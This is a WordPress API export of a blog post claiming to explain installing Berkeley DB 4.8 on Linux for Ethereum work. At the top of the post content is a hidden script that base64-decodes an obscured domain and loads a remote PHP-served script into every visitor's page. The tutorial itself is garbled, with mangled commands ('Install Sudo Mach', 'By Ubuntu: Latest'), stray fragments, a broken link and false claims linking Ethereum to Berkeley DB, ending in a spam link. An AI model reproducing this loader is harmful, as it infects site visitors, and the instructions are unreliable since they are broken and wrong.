{"id":9634,"date":"2025-02-08T15:30:57","date_gmt":"2025-02-08T15:30:57","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9634"},"modified":"2025-02-08T15:30:57","modified_gmt":"2025-02-08T15:30:57","slug":"ethereum-how-to-install-berkeley-db-4-8-on-linux","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9634","title":{"rendered":"Ethereum: How to install Berkeley DB 4.8 on Linux?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=0f503352\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum: How to install Berkeley DB 4.8 under Linux <\/strong><\/p>\n<\/p>\n<p>As a developer who works with Ethereum -Smart Contracts, you have probably found the need to store data in a structured format such as JSON or BINARY. In this article we will guide you on your Linux system through the process of installing Berkeley DB 4.8.<\/p>\n<\/p>\n<p><strong> What is Berkeley DB? <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/8CDr-F1FWNI\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>The Berkeley database (Berkeley DB) is an open source database management system with which you can save and query structured data in a flexible, self-contained format. It is often used for different applications, including databases, caching and data storage.<\/p>\n<\/p>\n<p><strong> Why do I need Berkeley DB 4.8 under Linux? <\/strong><\/p>\n<\/p>\n<p>To install Ethereum, you will probably work with JSON-based data structures or binary files stored in the &#8220;Wallet &#8216;directory&#8221;. However, some older versions of Ethereum (before version 1.3) required a certain version of Berkeley DB 4.6 to work properly.<\/p>\n<\/p>\n<p>Fortunately, a newer version of Berkeley DB was released: 4.8. We will show you how to install it on your Linux system.<\/p>\n<\/p>\n<p><strong> Install Berkeley DB 4.8 under Linux <\/strong><\/p>\n<\/p>\n<p><\/p>\n<h3><\/h3>\n<p>Ubuntu and Debian (with Libdb DEV packages)<\/p>\n<\/p>\n<p>If you use Ubuntu or Debian, you can easily install the required <code>Libdb-Dev<\/code> package together with Berkeley DB 4.8:<\/p>\n<\/p>\n<p>`<code>Bash<\/p>\n<\/p>\n<p>Sudo apt-Get Install Libdb-Dev Libdb ++-Dev<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>After installation, you have to link to the Berkeley DB library for your specific project:<\/p>\n<\/p>\n<p>`<code>Bash<\/p>\n<\/p>\n<p>g ++ -o example.cpp -i\/usr\/include\/Berkeley -db<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Alternative method with docker <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to install Berkeley DB 4.8 on Linux?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/7cbe2700.png\"><\/p>\n<\/p>\n<p>You should use dockers for more comfortable and reproducible experience. You can create a Docker image with Berkeley DB 4.8 and install its dependencies:<\/p>\n<\/p>\n<p>`<code><\/code>Dockerfile<\/p>\n<\/p>\n<p>By Ubuntu: Latest<\/p>\n<\/p>\n<p>Conduct APT-Get-update &#038;&#038; APT-Get Install -Y Libdb-Dev Libdb ++-Dev<\/p>\n<\/p>\n<p>Workdir \/app<\/p>\n<\/p>\n<p>Copy. \/App\/<\/p>\n<\/p>\n<p>CMD [&#8220;G ++&#8221;, &#8220;-O&#8221;, &#8220;Example&#8221;, &#8220;Example.cpp&#8221;]<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>As soon as the picture has been created, you can pull it and run your project:<\/p>\n<\/p>\n<p>`<code>Bash<\/p>\n<\/p>\n<p>Docker Pull Berkeley-Db-4.8 image<\/p>\n<\/p>\n<p>Docker Run -it Berkeley-Db-4.8-Image example<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p><strong> Install Berkeley DB 4.8 on a non-standard Linux distribution <\/strong><\/p>\n<\/p>\n<p>If you use another Linux distribution (e.g. Fedora, Centos) or not installed the &#8220;Libdb-DEV&#8221; package, you must install Berkeley DB 4.8 manually:<\/p>\n<\/p>\n<ul>\n<li>Download the source code of Berkeley DB 4.8 from the official website: <<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Extract the ZIP file with <code>TAR XZF BDB-4.8.TAR.GZZ<\/code><\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Create a new directory for your project and navigate to IT:<\/li>\n<\/ul>\n<\/p>\n<p>`<code>Bash<\/p>\n<\/p>\n<p>Mkdir MyProject<\/p>\n<\/p>\n<p>CD MyProject<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>V.<\/p>\n<\/p>\n<ul>\n<li>Use the following command to build Berkeley DB 4.8:<\/li>\n<\/ul>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>CD BDB-4.8<\/p>\n<\/p>\n<p>.\/Configure -Prefix =\/USR\/Local\/BDB -4.8<\/p>\n<\/p>\n<p>make<\/p>\n<\/p>\n<p>Install Sudo Mach<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>S.<\/p>\n<\/p>\n<p>Now you are ready to use Berkeley DB 4.8 with your Ethereum Smart Contract project!<\/p>\n<p><a href=\"https:\/\/docxpert.ru\/2025\/02\/08\/order-book-arbitrage-price-volatility\/\">Order Arbitrage Price Volatility<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: How to install Berkeley DB 4.8 under Linux As a developer who works with Ethereum -Smart Contracts, you have probably found the need to store<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9634","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9634","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9634"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9634\/revisions"}],"predecessor-version":[{"id":9635,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9634\/revisions\/9635"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9634"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9634"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9634"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}